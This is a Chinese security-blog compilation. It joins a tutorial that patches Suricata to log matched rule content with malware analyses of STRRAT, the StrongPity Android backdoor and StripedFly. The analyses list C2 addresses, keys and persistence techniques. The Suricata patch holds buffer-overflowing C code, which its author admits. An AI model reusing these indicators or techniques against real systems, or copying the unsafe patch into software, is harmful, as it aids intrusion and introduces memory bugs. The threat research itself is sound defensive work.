總結Symbiote 是一種具有高度隱蔽性的惡意軟件。它的主要目標是捕獲憑據並加快對受感染設備的後門訪問。由於惡意軟件作為用戶級rootkit 運行，因此要檢測到它很困難。

HireHackking

二開背景suricata是一款高性能的開源網絡入侵檢測防禦引擎，旨在檢測、預防和應對網絡中的惡意活動和攻擊。 suricata引擎使用多線程技術，能夠快速、準確地分析網絡流量並識別潛在的安全威脅，是眾多IDS和IPS廠商的底層規則檢測模塊。

前段時間搭了個suricata引擎播包測試流量規則，發現原生的suricata引擎並不能獲取規則匹配的位置、命中的字符串等信息。因suricata引擎並不會輸出命中的信息，遂修改源碼，改了命中詳情(下文簡稱高亮)出來，今天想跟大家分享一下修改和使用的過程。

1、suricat編譯安裝參考官方文檔https://docs.suricata.io/en/suricata-6.0.0/install.html#install-advanced

先裝庫，裝rust支持，裝make

然後下載源碼make

編譯後的二進製程序在/src/.libs/suricata查看依賴庫，然後補齊到默認so庫目錄中即可運行。

0624-1.png2、vscode+gdb調試suricata環境搭建然後就是裝插件，除了必備的c語言插件全家桶之外還需要裝GDB Debug這個插件。

接著任意新建一個運行配置。

0624-2.png

修改lauch.json為：

{ //Use IntelliSense to learn about possible attributes. //Hover to view descriptions of existing attributes. //For more information, visit: https://go.microsoft.com/fwlink/?linkid=830387 'version': '0.2.0', 'configurations': [ { 'name': '(gdb) Launch', 'type': 'cppdbg', 'request': 'launch', 'program': '${fileDirname}/./src/.libs/suricata', //以下為監聽網卡模式。 //'args': [ //'-i', 'ens33', '-c', '/home/lalala/Desktop/suricata/6/suricata.yaml', '-v', '-l','/home/lalala/Desktop/suricata/6/log6/','--runmode', 'single' //], //以下為讀包模式。 'args': [ '-r', '/home/lalala/Desktop/suricata/6/6-27/48040.pcap', '-c', '/home/lalala/Desktop/suricata/6/suricata.yaml', '-v', '-l','/home/lalala/Desktop/suricata/6/log6/','--runmode', 'single' ], 'stopAtEntry': true, 'cwd': '${fileDirname}', 'environment': [], 'externalConsole': false, 'MIMode': 'gdb', 'setupCommands': [ { 'description': 'Enable pretty-printing for gdb', 'text': '-enable-pretty-printing', 'ignoreFailures': true }, { 'description': 'Set Disassembly Flavor to Intel', 'text': '-gdb-set disassembly-flavor intel', 'ignoreFailures': true } ] }, ]}選擇配置好的配置運行，看到斷在入口，調試環境完成。

QQ截图20240624140810.png

3、suricata流程分析，尋找關鍵位置QQ截图20240624140851.png流程過於復雜，簡單理解就是匹配和記錄日誌的地方是分在不同線程，但是又有結構體可以從匹配帶到那裡。

4、關鍵位置代碼分析，獲取高亮內容根據流程，在初始化後慢慢摸索找到關鍵函數DetectEngineContentInspection

smd為傳入規則，根據type的不同走不同的代碼塊兒匹配。本次加高亮重點關注CONTENT和PCRE這兩個最常用的類型。

QQ截图20240624140911.png

CONTENT代碼塊裡，重點在於這個found。分析得出最後兩個else裡都是命中。

QQ截图20240624140933.png

根據原字符串，偏移，長度即可組合出高亮字符串。

QQ截图20240624140954.png

f為flow結構體也就是會帶到打印日誌那邊的結構體，在結構體中新加一個字符串，即可達成帶數據到日誌流程的目的。

QQ截图20240624141026.png

高亮函數代碼：

staticintGet_gaoliang(constchar*data,u_int32_tend,u_int32_tlen,char*res){

chartmp[1024]='';

if(len1024)

{

memcpy(tmp,data+end-len,len);

}else{

memcpy(tmp,data+end-len,1024);

}

strncat(res,tmp,4096);

strncat(res,'\n\0',4096);

return1;}

pcre同理，在命中流程中加入寫高亮字符串即可。

QQ截图20240624141101.png

5、高亮加到日誌高亮字符已經寫入到了flow結構體。下一步就是在打印日誌的時候讀到，寫出來。

最優先的當然是fastlog，因為fastlog本就是觸發規則會進行輸出的日誌，且沒有其他干擾。

從Packet結構體找到flow結構體找到其中的gaoliang字符串，打印即可。

QQ截图20240624141126.png

最終效果，fastlog會在正常展示命中的同時，講高亮內容展示。

QQ截图20240624141250.png

6、修改匯總匯總代碼放在github 上鍊接https://github.com/webraybtl/suricata_gaoliang

修改文件詳情：

alert-fastlog.c加打印

修改AlertFastLogger

添加如下代碼：

PrintBufferData(alert_buffer,size,MAX_FASTLOG_ALERT_SIZE,'=========ruleid:%'PRIu32'高亮字段展示=======:\n%s====================================\n',pa-s-id,p-flow-gaoliang);

detect-engine-content-inspection.c加Get_gaoliang函數

修改DetectEngineContentInspection函數加入寫入高亮字符串邏輯。

static int Get_gaoliang(const char* data,u_int32_t end, u_int32_t len,char* res){ char tmp[1024]=''; if (len1024) { memcpy(tmp, data + end-len, len); }else{ memcpy(tmp, data + end-len, 1024); } strncat(res, tmp,4096); strncat(res, '\n\0',4096); return 1; } int DetectEngineContentInspection(DetectEngineCtx *de_ctx, DetectEngineThreadCtx *det_ctx, const Signature *s, const SigMatchData *smd, Packet *p, Flow *f, const uint8_t *buffer, uint32_t buffer_len, uint32_t stream_start_offset, uint8_t flags, uint8_t inspection_mode) { . if (found==NULL !(cd-flags DETECT_CONTENT_NEGATED)) { if ((cd-flags (DETECT_CONTENT_DISTANCE|DETECT_CONTENT_WITHIN))==0) { /* independent match from previous matches, so failure is fatal */det_ctx-discontinue_matching=1; } goto no_match; } else if (found==NULL (cd-flags DETECT_CONTENT_NEGATED)) { goto match; } else if (found !=NULL (cd-flags DETECT_CONTENT_NEGATED)) { if(f){ Get_gaoliang((char*)buffer,match_offset,cd-content_len,f-gaoliang); } SCLogInfo('content %'PRIu32' matched at offset %'PRIu32', but negated so no match', cd-id, match_offset); /* don't bother carrying recursive matches now, for preceding * relative keywords */if (DETECT_CONTENT_IS_SINGLE(cd)) det_ctx-discontinue_matching=1; goto no_match; } else { match_offset=(uint32_t)((found - buffer) + cd-content_len); if(f){ Get_gaoliang((char*)buffer,match_offset,cd-content_len,f-gaoliang); } .

flow.hflow結構體加一個gaoliang字符串成員。

typedefstructFlow_{

.

.

.

chargaoliang[4096];

}Flow;

遺留問題1、因只開闢了4096字節存高亮字符，會有溢出。

2、直接按字符串打印展示出來的，對十六進制展示不理想，00會導致打印不全。

原文鏈接

HireHackking

由於運輸和接收貨物是大多數航運企業的日常工作，攻擊者經常將偽造有關的運輸標題作為釣魚電子郵件的誘餌，例如虛假髮票、運輸事宜的更改或與虛擬購買相關的通知，以誘使收件人打開惡意附件和無意中下載惡意軟件。

FortiGuard實驗室最近發現了一封這樣的郵件，該電子郵件隨後被發現包含STRRAT 惡意軟件的變體作為附件。

本文將詳細分析網絡釣魚郵件及其惡意負載。

檢查網絡釣魚郵件STRRAT是一個多功能的遠程訪問木馬，至少可以追溯到2020 年年中。不同尋常的是，它是基於Java 的，通常通過網絡釣魚電子郵件發送給受害者。

2021年5月，微軟的安全情報團隊發現了新型惡意軟件攻擊，通過包含惡意的PDF 附件進行大規模傳播。這些PDF 附件中包含了名為StrRAT，這是一個可遠程訪問的木馬程序，可用於竊取密碼和用戶憑證。除了竊取憑證甚至控制系統之外，微軟研究人員還發現，這種惡意軟件可以將自己偽裝成偽造的勒索軟件。

關於該惡意軟件的推文中，微軟表示：

“一旦系統被感染，StrRAT 就會連接C2 服務器。1.5版明顯比以前的版本更加模糊和模塊化，但後門功能大多保持不變：收集瀏覽器密碼，運行遠程命令和PowerShell，記錄鍵盤輸入等”。

與大多數網絡釣魚攻擊一樣，以前的STRAAT 活動使用了附加到電子郵件的中間釋放器（例如惡意Excel 宏），在打開時下載最終有效負載。本示例不使用這種策略，而是將最後的有效載荷直接附加到釣魚電子郵件中。

img1.png

欺騙性電子郵件發件人和主題

如圖1 所示，這個樣本顯然不是來自馬士基航運公司，攻擊者顯然不希望接收者看得太仔細。通過進一步挖掘電子郵件標題，電子郵件的來源的完整線索變得很明顯：

2.png

電子郵件標頭

在離開發件人的本地基礎設施後，消息最終會通過“acalpulps[.]com”，然後傳遞給最終收件人。該域名是在2021 年8 月才註冊的，因此該域名有些可疑。此外，“Reply-To”地址中使用的域“ftqplc[.]in”最近也被註冊（2021 年10 月），因此也非常可疑。

電子郵件正文鼓勵收件人打開有關預定裝運的附件。

3.png

電子郵件正文

截至發文，信函正文中包含的域“v[.]al”尚未解析。

4.png

電子郵件附件

直接附加到示例電子郵件的是一個PNG 圖像和兩個Zip 文件。 “maersk.png”只是一個圖像文件，如上圖所示。然而，兩個Zip 文件“SHIPMENT_DOCUMENTS_INV-PLIST01256_BL PDF[.]zip”和“SHIPMENT_DOCUMENTS_INV-PLIST01256_BL PDF (2)[.]zip”包含STRRAT 的嵌入副本。

檢查STRRAT 附件“SHIPMENT_DOCUMENTS_INV-PLIST01256_BL PDF[.]zip”和“SHIPMENT_DOCUMENTS_INV-PLIST01256_BL PDF (2)[.]zip”是相同的文件，這從它們各自的SHA256 哈希值可以看出。

img5.png

“SHIPMENT_DOCUMENTS_INV-PLIST01256_BL PDF[.]zip”的SHA256 哈希

img6.png

“SHIPMENT_DOCUMENTS_INV-PLIST01256_BL PDF (2)[.]zip”的SHA256 哈希

解壓縮這些文件會顯示文件“SHIPMENT_DOCUMENTS_INV-PLIST01256_BL PDF[.]jar”。但是，在Jar Explorer 中打開文件後，一些事情會立即顯現出來。

img7.png

Jar Explorer 中“SHIPMENT_DOCUMENTS_INV-PLIST01256_BL PDF[.]jar”的初始視圖

首先，大量的Java 類文件是這個包的一部分。其次，“FirstRun”類字符串似乎被打亂或編碼。附加有“ALLATORIxDEMO”的行表示存在Allatori Java 混淆處理程序。

這可以通過嘗試執行jar 文件來驗證。

img8.png

嘗試執行“SHIPMENT_DOCUMENTS_INV-PLIST01256_BL PDF[.]jar”時顯示的閃屏

使用Allatori確認這一點有助於分析過程，因為有開源工具可以回滾它並揭示jar文件中的實際內容。 Java Deobfuscator對Allatori工作得特別好，並成功地恢復了原始字符串內容，如下所示。

img9.png

“FirstRun” 類的相同視圖現在已反混淆

與STRRAT 中的類文件獨立編碼的是配置文件（config.txt）。在第一個視圖中，它是base 64 編碼的，如下圖所示。

img10.png

Base 64 編碼的“config.txt”

不幸的是，當解碼時，文件仍然被加碼處理了。

11.png

“解碼”配置文件

通過搜索“config.txt”的代碼，我們可以看到配置文件是使用AES 加密的，並且使用了“strigoi” hXXp://jbfrost[.]live/strigoi/server/?hwid=1lid=mht=5的密碼。現在可以解密配置文件了。

img12.png

解密的配置文件

上圖中的最後一項特別令人感興趣，因為該示例出現在Log4Shell 事件中。 Khonsari 是利用該特定漏洞的勒索軟件變種的名稱。然而，在這裡，這個詞起到了軟件密鑰的作用，沒有證據表明這兩個惡意軟件之間有任何联系。

大多數惡意軟件都需要在重啟和會話期間保持持久性，這樣它們才能完成已經設置的任務。 STRRAT通過將自身複製到一個新目錄中，然後將條目添加到Windows註冊表中以在系統啟動時運行來實現這一點。

img13.png

修改註冊表的代碼

img14.png

修改後的註冊表

STRRAT 在啟動時查詢主機以確定其架構和防病毒功能，它還查詢正在運行的進程、本地存儲和網絡能力。

就功能而言，STRRAT可以記錄擊鍵並維護一個基於html的日誌來存儲感興趣的項目。

img15.png

創建鍵盤日誌文件的代碼

img16.png

準備好發送的鍵盤日誌文件

STRRAT還可以通過刪除遠程訪問工具HRDP來促進對受感染系統的遠程控制。

img17.png

HRDP

其他功能包括從Chrome、Firefox 和Microsoft Edge 等瀏覽器和Outlook、Thunderbird 和Foxmail 等電子郵件客戶端提取密碼。

STRRAT 中最奇怪的模塊之一是它的偽勒索軟件功能。

img18.png

偽勒索軟件模塊

代碼循環瀏覽用戶主目錄中的文件，並為它們附加一個“.crimson”的文件擴展名。沒有對文件進行加密，這使得它只適合作為誘餌，或者作為對不太精明的用戶的恐嚇策略。在代碼中未找到贖金記錄模板。

在網絡方面，我們看到STRRAT希望在啟動時擴展和拉下幾個Java依賴項。

19.png

Java 依賴項

如上圖所示，此示例將IP 地址198[.]27.77.242 用於C2（命令和控制）。檢查Wireshark 中的流量顯示STRRAT 異常嘈雜。這可能是由於C2 通道在調查時處於離線狀態。為了獲得進一步的指令，該示例嘗試以1秒(在某些情況下甚至更多)的時間間隔通過端口1780和1788進行通信。

20.png

Wireshark 中嘗試的C2 通信

上圖還顯示了一個包含域“jbfrost[.]live”的URL，這似乎是惡意軟件C2 基礎設施的一部分，但似乎沒有被使用（至少目前沒有），該域當前未解析。

HireHackking

ESET的研究人員最近發現了一個活躍的StrongPity活動，該活動會偽裝成Shagle應用程序來傳播木馬化的Android Telegram應用程序。 ESET研究人員認為其幕後組織是StrongPity APT組織。 Shagle是一種隨機視頻聊天服務，提供陌生人之間的加密通信。該活動自2021年11月起活躍，與完全基於網絡的真正Shagle網站不同，該網站不提供官方移動應用程序來訪問其服務，只提供Android應用程序供下載，這也就意味著用戶不可能進行基於網絡的流媒體傳輸。

被下載的惡意應用程序是一個功能齊全但被木馬化的合法Telegram應用程序，然而，其最終卻以Shagle應用程序的形式呈現。我們其稱為假冒Shagle應用程序、木馬化的Telegram應用程序或StrongPity後門。 ESET研究人員將其命名為Android/StrongPity.A。

StrongPity後門具有各種間諜功能：它的11個動態觸發模塊負責記錄電話、收集短信、通話記錄列表、聯繫人列表等。這些模塊均是首次被發現。如果受害者授予惡意StrongPity應用程序可訪問性服務，它的一個模塊也可以訪問傳入的通知，並能夠從Viber、Skype、Gmail、Messenger和Tinder等17個應用程序中竊取通信。

目前，此次攻擊還沒有特定的受害者。不過在研究過程中，從虛假網站下載的惡意軟件不再活躍，也不再可能成功安裝它並觸發其後門功能，因為StrongPity還沒有為其木馬Telegram應用程序獲得自己的API ID。但如果攻擊者決定更新惡意應用程序，這種情況可能會隨時改變。

技術分析這場StrongPity活動圍繞著一個Android後門展開，該後門來自一個包含“dutch”字樣的域名。該網站模仿了shagle.com上名為Shagle的合法服務。在下圖中，你可以看到兩個網站的主頁。該惡意應用程序可直接從虛假網站下載，Google Play store中還未出現該惡意程序。這是合法Telegram應用程序的木馬化版本，看起來就像Shagle官方應用程序一樣。注意，目前還沒有Shagle的官方Android應用程序。

1.jpg

左邊為合法網站，右邊為虛假網站

如下圖所示，虛假網站的HTML代碼包含了2021 11月1日使用自動工具HTTrack從合法的shagle.com網站複製的證據。惡意域名是在同一天註冊的，所以從那天起，虛假網站和假冒Shagle應用程序就可以下載了。

2.png

在虛假網站的HTML代碼中發現的由HTTrack工俱生成的日誌記錄

受害目標2022年7月18日，當一個惡意應用程序和一個模仿shagle.com的網站鏈接被上傳時，研究人員在VirusTotal的YARA規則被觸發。與此同時，研究人員在Twitter上收到了關於該樣本的通知，儘管它被錯誤地歸因於Bahamut，但仍然沒有識別出任何受害者。

幕後組織虛假Shagle網站發布的APK使用與趨勢科技在2021年發現的木馬化敘利亞電子政務應用程序相同的代碼簽名證書進行簽名，該應用程序的幕後組織就是StrongPity。

3.png

該證書籤名了假冒的Shagle應用和木馬化的敘利亞電子政務應用

StrongPity早在之前的活動中就使用了假冒Shagle應用程序中的惡意代碼，並實現了一個簡單但功能強大的後門。這個代碼只在StrongPity開展的活動中使用過。在下圖中，你可以看到一些添加的惡意類，其中許多經過模糊處理的名稱在兩個活動的代碼中甚至是相同的。

4.jpg

木馬化的敘利亞電子政務應用程序(左)和木馬化的Telegram應用程序(右)的類名比較

將此次活動的後門代碼與木馬化的敘利亞電子政務應用程序的後門代碼(SHA-1: 5A5910C2C9180382FCF7A939E9909044F0E8918B)進行比較，它具有擴展的功能，但使用相同的代碼來提供類似的功能。在下圖中，你可以比較兩個示例中負責在組件之間發送消息的代碼。這些消息會觸發後門的惡意行為，因此，研究人員堅信假冒Shagle應用程序與StrongPity組織有關。

5.png

負責在木馬化的敘利亞電子政務應用程序中觸發惡意功能的消息

6.png

負責在假冒Shagle應用程序中觸發惡意功能的消息

初始訪問如上所述，假冒的Shagle應用程序被託管在虛假Shagle網站上，受害者必須選擇從該網站下載並安裝該應用程序。由於目前還無法從Google Play下載該惡意軟件，研究人員不知道潛在的受害者是如何被誘導到虛假網站下載惡意軟件的。

工具集根據虛假網站上的描述，這款應用是免費的，旨在用於與新朋友見面和聊天。然而，下載的應用程序卻是一個被惡意修復的Telegram應用程序，早在2022年2月25日左右就可下載。

這個木馬化的Telegram使用了與合法Telegram應用相同的程序包名。包名應該是每個Android應用的唯一ID，並且在任何給定設備上都必須是唯一的。這意味著，如果潛在受害者的設備上已經安裝了官方Telegram應用程序，那麼這個後門版本就無法安裝，如下圖所示。這可能意味著兩種情況：攻擊者要么首先與潛在受害者溝通，誘導他們在安裝了Telegram的設備上卸載Telegram，要么該活動將重點放在很少使用Telegram進行通信的國家。

7.jpg

如果設備上已經安裝了Telegram官方應用，則無法成功安裝木馬版本

StrongPity的木馬化Telegram應用程序應該可以像官方版本一樣使用標準的API進行通信，理論上來講，這些API在Telegram網站上有很好的記錄，但由於這個應用程序已經不能工作了，所以我們無法再檢查。

在研究過程中，從虛假網站上獲得的當前版本的惡意軟件不再活躍，也不再可能成功安裝並觸發其後門功能。當研究人員嘗試使用他們的電話號碼註冊時，重新打包的Telegram應用程序無法從服務器獲取API ID，因此無法正常工作。如下圖所示，應用程序顯示API_ID_PUBLISHED_FLOOD錯誤。

8.png

使用電話號碼註冊時顯示錯誤

根據Telegram的錯誤文檔，StrongPity似乎沒有獲得自己的API ID。相反，它使用了Telegram開源代碼中包含的API ID樣本來進行初始測試。 Telegram監控API ID的使用並限制示例API ID，因此在發布的應用程序中使用它會導致如上圖所示的錯誤。由於該錯誤，用戶無法再註冊和使用該應用程序或觸發其惡意功能。這可能意味著StrongPity的運營商沒有考慮到這一點，或者可能在傳播應用程序時有足夠的時間來監視受害者使用的Telegram ID。由於該網站從未提供過該應用程序的新版本，這可能表明StrongPity成功地將惡意軟件部署到了其預期目標。

所以，在進行研究時，虛假網站上的假冒Shagle應用程序已不再活躍。然而，如果攻擊者決定更新惡意應用程序，這個情況可能會隨時改變。

StrongPity後門代碼的組件和所需的權限附加到Telegram應用程序的AndroidManifest.xml文件中。如下圖所示，這可以很容易地看出惡意軟件需要哪些權限。

9.png

AndroidManifest.xml突出顯示了StrongPity後門的組件和權限

從Android清單中，我們可以看到惡意類被添加到org.telegram.messenger包中，作為原始應用程序的一部分出現。

初始惡意功能是由設置好的操作(BOOT_COMPLETED、BATTERY_LOW或USER_PRESENT)後執行的三個廣播接收器之一觸發的。首次啟動之後，它會動態註冊其他廣播接收器來監視SCREEN_ON、SCREEN_OFF和CONNECTIVITY_CHANGE事件。然後，假冒Shagle應用程序使用IPC(進程間通信)在其組件之間進行通信，以觸發各種操作。它使用HTTPS與CC服務器聯繫，發送有關受攻擊設備的基本信息，並接收包含11個二進制模塊的AES加密文件，該文件將由父應用程序動態執行。如下圖所示，這些模塊存儲在應用程序的內部存儲/data/user/0/org.telegram.messenger/files/.li/中。

10.png

StrongPity後門接收包含可執行模塊的加密文件

11.png

從服務器接收的模塊存儲在StrongPity後門的內部存儲中

每個模塊負責不同的功能。模塊名列表存儲在sharedconfig.xml文件的本地共享首選項中，如下圖所示。

必要時，模塊由父應用程序動態觸發。每個模塊都有自己的模塊名稱，並負責不同的功能，例如：

libarm.jar(cm module)——記錄通話；

libmpeg4.jar(nt module)——收集來自17個應用程序的傳入通知消息的文本；

local.jar(fm/fp module)——收集設備上的文件列表（文件樹）；

phone.jar(ms module)——通過竊取聯繫人姓名、聊天信息和日期，濫用可訪問性服務來監視消息應用程序；

resources.jar(sm module)——收集存儲在設備上的短信；

services.jar(lo module)——獲取設備位置；

systemui.jar(sy module)——收集設備和系統信息；

timer.jar(ia module)——收集已安裝應用程序的列表；

toolkit.jar(cn module)——收集聯繫人列表；

watchkit.jar(ac module)——收集設備帳戶列表；

wearkit.jar(cl module)——收集調用日誌列表；

12.png

StrongPity後門使用的模塊列表

所有獲得的數據都存儲在clear-in/data/user/0/org.telegram.messenger/databases/outdata中，然後使用AES加密並發送到CC服務器，如下圖所示。

13.png

加密的用戶數據被洩露到CC服務器

與第一個手機版StrongPity相比，這個StrongPity後門擴展了監視功能。它可以請求受害者激活可訪問性服務並獲得通知訪問權。如果受害者啟用了它們，惡意軟件將監視傳入的通知，並濫用可訪問性服務，從其他應用程序中竊取聊天記錄。

14.png

針對受害者的惡意軟件請求、通知訪問和可訪問性服務

通過通知訪問，惡意軟件可以讀取來自17個目標應用程序的通知消息。以下是他們的軟件包名稱列表：

Messenger (com.facebook.orca)

Messenger Lite (com.facebook.mlite)

Viber – Safe Chats And Calls (com.viber.voip)

Skype (com.skype.raider)

LINE: Calls Messages (jp.naver.line.android)

Kik — Messaging Chat App (kik.android)

tango-live stream video chat (com.sgiggle.production)

Hangouts (com.google.android.talk)

Telegram (org.telegram.messenger)

WeChat (com.tencent.mm)

Snapchat (com.snapchat.android)

Tinder (com.tinder)

Hike News Content (com.bsb.hike)

Instagram (com.instagram.android)

Twitter (com.twitter.android)

Gmail (com.google.android.gm)

imo-International Calls Chat (com.imo.android.imoim)

如果設備已處於根目錄，則惡意軟件會默默地嘗試授予WRITE_SETTINGS, WRITE_SECURE_SETTINGS, REBOOT, MOUNT_FORMAT_FILESYSTEMS, MODIFY_PHONE_STATE, PACKAGE_USAGE_STATS, READ_PRIVILEGED_PHONE_STATE權限，以啟用可訪問性服務，並授予通知訪問權限。之後，StrongPity後門嘗試禁用SecurityLogAgent應用程序(com.samsung.android.securitylogagent)，這是一個官方系統應用程序，有助於保護三星設備的安全，並禁用來自惡意軟件本身的所有應用程序通知，這些應用程序通知可能在未來顯示給受害者，以防應用程序錯誤，崩潰或警告。 StrongPity後門本身並不嘗試對設備進行根操作。

AES算法使用CBC模式和硬編碼密鑰來解密下載的模塊：

AES key–aaaanothingimpossiblebbb

AES IV–aaaanothingimpos

總結攻擊者重新利用了官方Telegram應用程序，在其中加入了後門代碼。本次活動中的惡意代碼、功能、類名以及用於簽署APK文件的證書與之前StrongPity組織發起的活動相同，有鑑於此，本次攻擊活動背後的組織是StrongPity組織。

在我們進行研究時，由於API_ID_PUBLISHED_FLOOD錯誤，在虛假網站上可用的示例被禁用，這導致惡意代碼沒有被觸發，潛在的受害者可能會從目標設備中刪除異常應用程序。

通過分析代碼可知，後門是模塊化的，額外的二進制模塊是從CC服務器下載的。這意味著模塊的數量和類型可以在任何時候改變，以適應由StrongPity組織發起的活動。

根據我們的分析，這似乎是StrongPity組織開發的第二個針對安卓惡意軟件的程序，與第一個版本相比，它還濫用了可訪問性服務和通知訪問，將收集的數據存儲在本地數據庫中，嘗試執行su命令，並且對於大多數數據收集使用下載的模塊。

HireHackking

引言StripedFly，它是一個加密貨幣挖礦軟件，躲在一個支持Linux和Windows的複雜模塊化框架後面。它配備內置的TOR網絡隧道，用於與指揮（C2）服務器聯繫，還有通過可信賴的服務（如GitLab、GitHub和Bitbucket）進行更新和交付的功能，這一切使用自定義加密歸檔。攻擊者煞費苦心來構建這個框架，披露的真相頗為驚人。

它是如何開始的？ 2022年，在Equation惡意軟件中發現的舊代碼的WININIT.EXE進程中遇到了兩個驚人的發現，隨後的分析揭示了可追溯到2017年的早期可疑代碼。在此期間，它成功逃避了分析，之前被誤歸類為加密貨幣挖礦軟件。然而，這不是其主要目標。

我們決定全面分析收集的樣本，只想排除任何不確定因素，這個加密貨幣挖礦軟件是一個極龐大實體的一部分。該惡意軟件使用了定制的EternalBlue SMBv1漏洞來滲入受害者的系統。重要的是，我們的調查剖析了二進制時間戳，表明這個漏洞是在2017年4月之前創建的。值得一提的是，EternalBlue漏洞是Shadow Brokers組織於2017年4月14日公開披露的。

這個特殊蠕蟲與其他使用EternalBlue的惡意軟件的區別在於其獨特的傳播模式。它悄無聲息地傳播，因而避免了大多數安全解決方案的檢測。本文現在簡要概述我們的發現結果。

感染第一個檢測到的shellcode位於WININIT.EXE進程中，該進程能夠從bitbucket[.]org下載二進製文件，並執行PowerShell腳本。最初檢測出來時，感染途徑是未知的；然而，隨著調查逐步深入開展，我們發現了一個與EternalBlue非常相似的SMBv1漏洞。

內核shellcode通過漏洞利用代碼將另外的shellcode注入到用戶空間中，然後部署載荷，其中包括一個具有插件式可擴展功能的框架以及一個超輕量級的TOR網絡客戶軟件。一旦這個過程完成，大門被永久封住，惡意軟件進而禁用了受感染系統上的SMBv1協議。

蠕蟲功能試圖在本地網絡中傳播，不僅僅依賴漏洞，還依賴SSH協議，使用在受害者機器上找到的密鑰。

1.png

圖1. Windows主機上的感染流程

實現持久性為了實現持久性，惡意軟件採用了各種方法。其行為取決於PowerShell解釋器的可用性和授予該進程的特權。該惡意軟件通常在通過漏洞安裝時以管理權限運行，而在通過Cygwin SSH服務器投放時以用戶級權限運行。

如果PowerShell不存在，惡意軟件用MZ-PE加載程序生成一個隱藏文件，其隨機名稱位於%APPDATA%目錄中。該加載程序包括system.img的副本，並隨後在Windows註冊表項Software\Microsoft\Windows\CurrentVersion\Run中以類似GUID的名稱註冊。

如果安裝了PowerShell，其行為將因是否有管理訪問權而異。如果有管理權限，它執行一個PowerShell腳本，該腳本創建兩個具有類似GUID的名稱和不同觸發器的任務調度器項。這些任務的動作由PowerShell加載腳本運行。

如果沒有管理權限，PowerShell腳本加載程序（開頭和末尾被數千個空格包圍）被放置在HKCU\Software\Microsoft\Windows\CurrentVersion\Applets註冊表項中，然後使用以下命令將其註冊到HKCU\Software\Microsoft\Windows\CurrentVersion\Run項中：

2.png

圖2

在PowerShell存在的兩種情況下，惡意軟件歸檔本身的主體存儲在註冊表項Software\Microsoft\Windows\CurrentVersion\Shell中，Base64編碼，由數百個空格包圍，並由上述PowerShell啟動

在Linux主機上，惡意軟件進程隱藏在名稱（sd-pam）下。有眾多方法來實現持久性：可以是系統或用戶systemd服務、自動啟動的.desktop文件，或在合適的/etc/rc*、profile、bashrc或inittab文件中的另一行。惡意軟件可執行文件以隨機名稱放置在/tmp目錄下。

Bitbucket存儲庫為了力求初始漏洞利用工具小巧化，所有可卸載的內容都封裝在加密和壓縮的自定義二進制歸檔中。這個歸檔謹慎地託管在合法網站上，巧妙地偽裝成神秘設備的標記為'm100'的固件二進製文件。

Bitbucket存儲庫於2018年6月21日由Julie Heilman的帳戶創建，它仍然是與該配置文件相關的唯一存儲庫。

3.png

圖3. Bitbucket存儲庫的內容

存儲庫只有一個README.md文件，內含項目名稱。值得注意的是，Downloads文件夾（通常包含編譯後的項目二進製文件）包含五個二進製文件：delta.dat、delta.img、ota.dat、ota.img和system.img。

4.png

圖4. 存儲庫的Downloads文件夾

該文件夾沒有任何版本控制，下載計數器僅反映自上次文件更新以來的下載次數。尤其是，system.img文件充當真實的載荷歸檔，用於初始的Windows系統感染。該文件的下載計數器準確反映了自上次更新以來的新感染數量。在我們分析期間，文件上一次更新是在2022年2月24日，截至2022年6月，初始感染數量為16萬。然而截至2023年9月，這個數字自2023年4月上一次更新以來已降至6萬。

文件ota.img和delta.img用於更新惡意軟件，其中ota.img對應Windows版本，而delta.img對應Linux版本。有意思的是，system.img和ota.img功能上一樣，不過ota.img包含用於完整性驗證的補充元數據，而delta.img充當了通過SSH被Windows版本感染的Linux主機的初始感染載荷。

文件ota.dat和delta.dat以及版本文件都是惡意軟件檢查新更新可用性的工具。然而值得一提的是，ota.img和delta.img的下載計數器並未準確反映當前感染受害者的數量，這是由於惡意軟件主要從其C2服務器獲取更新，僅在C2服務器沒有響應時才從存儲庫下載更新文件。

在我們分析期間，約100萬更新從存儲庫獲得。截止本文撰稿時，Windows系統只有8次更新，Linux系統只有4次更新，這表明了兩種場景：要么活躍感染極少，要么C2服務器保持活躍，並對所有受感染的受害者做出響應。

C2服務器位於TOR網絡中，其.onion地址為gpiekd65jgshwp2p53igifv43aug2adacdebmuuri34hduvijr5pfjad[.]onion:1111。

為了與C2聯繫，惡意軟件採用了自定義的輕量級方法來實現TOR客戶軟件。有趣的是，這種實現似乎並不是基於任何已知的開源TOR實現，顯然缺少許多標準的TOR特性，比如路由、目錄列表、中繼、出口節點模式以及對控制協議的支持。

惡意軟件會定期啟動與C2服務器的TCP連接，發送含有受害者獨特ID的問候信息。然後，它每分鐘發送一個空信標消息。

這項功能表明了攻擊者旨在不惜一切代價隱藏C2服務器，促使攻擊者開發了一個獨特而耗時的項目：創建自己的TOR客戶軟件。這種方法在APT和犯罪軟件開發者當中並不常見，這個醒目的例子強調了這種惡意軟件相比許多其他惡意軟件具有的複雜性。其功能的複雜性和優雅性使我們想起了實現延遲容忍Equation通信網絡及其他庫的優雅代碼，因而它被歸類為高度先進的威脅。

模塊惡意軟件載荷本身的結構是一種單體式二進制可執行代碼，旨在支持可插入模塊，以擴展或更新功能。這種架構方法是APT惡意軟件的標誌，每個模塊負責實現和註冊回調函數，該回調函數在與C2服務器的連接建立或中斷時觸發，或者在從C2服務器接收消息時觸發。這些模塊中的功能分為兩類：服務模塊和擴展功能模塊。

1. 服務模塊配置存儲該模塊通過在Windows版本的HKCU\Software\Classes\TypeLib項中創建一個類似GUID的註冊表項，安全地存儲AES加密的惡意軟件配置。 Linux版本將該信息隱藏在位於用戶主目錄中的隨機隱藏文件夾中。

升級/卸載當與C2服務器的初始連接建立時，服務模塊生成一個8字節的受害者ID，存儲它，然後與所用的system.img文件的散列一起重用它，用於向服務器返回報告。該模塊旨在實現兩個特定的命令：

o服務器發送system.img的新版本，升級過程由生成的腳本或生成的可執行文件來執行。

o執行全面卸載如果C2服務器脫機時間超過20分鐘，並且這種情況持續存在，模塊將嘗試下載ota.dat文件（Linux版本是delta.dat），然後驗證其完整性。如果文件版本發生了變化，模塊通過下載適當的.img文件：面向Windows的ota.img和麵向Linux的delta.img來觸發升級過程。

反向代理該模塊授予訪問受害者網絡的權限，並允許代表受害者執行遠程操作。

2. 功能模塊雜項命令處理程序該模塊包含一系列命令，用於與受害者的文件系統交互、捕獲屏幕截圖、檢索系統版本，並獲得Linux上的活躍X11顯示內容（默認值是Windows上的WinSta0）。它還包含一個能夠執行從C2服務器收到的shellcode的命令。

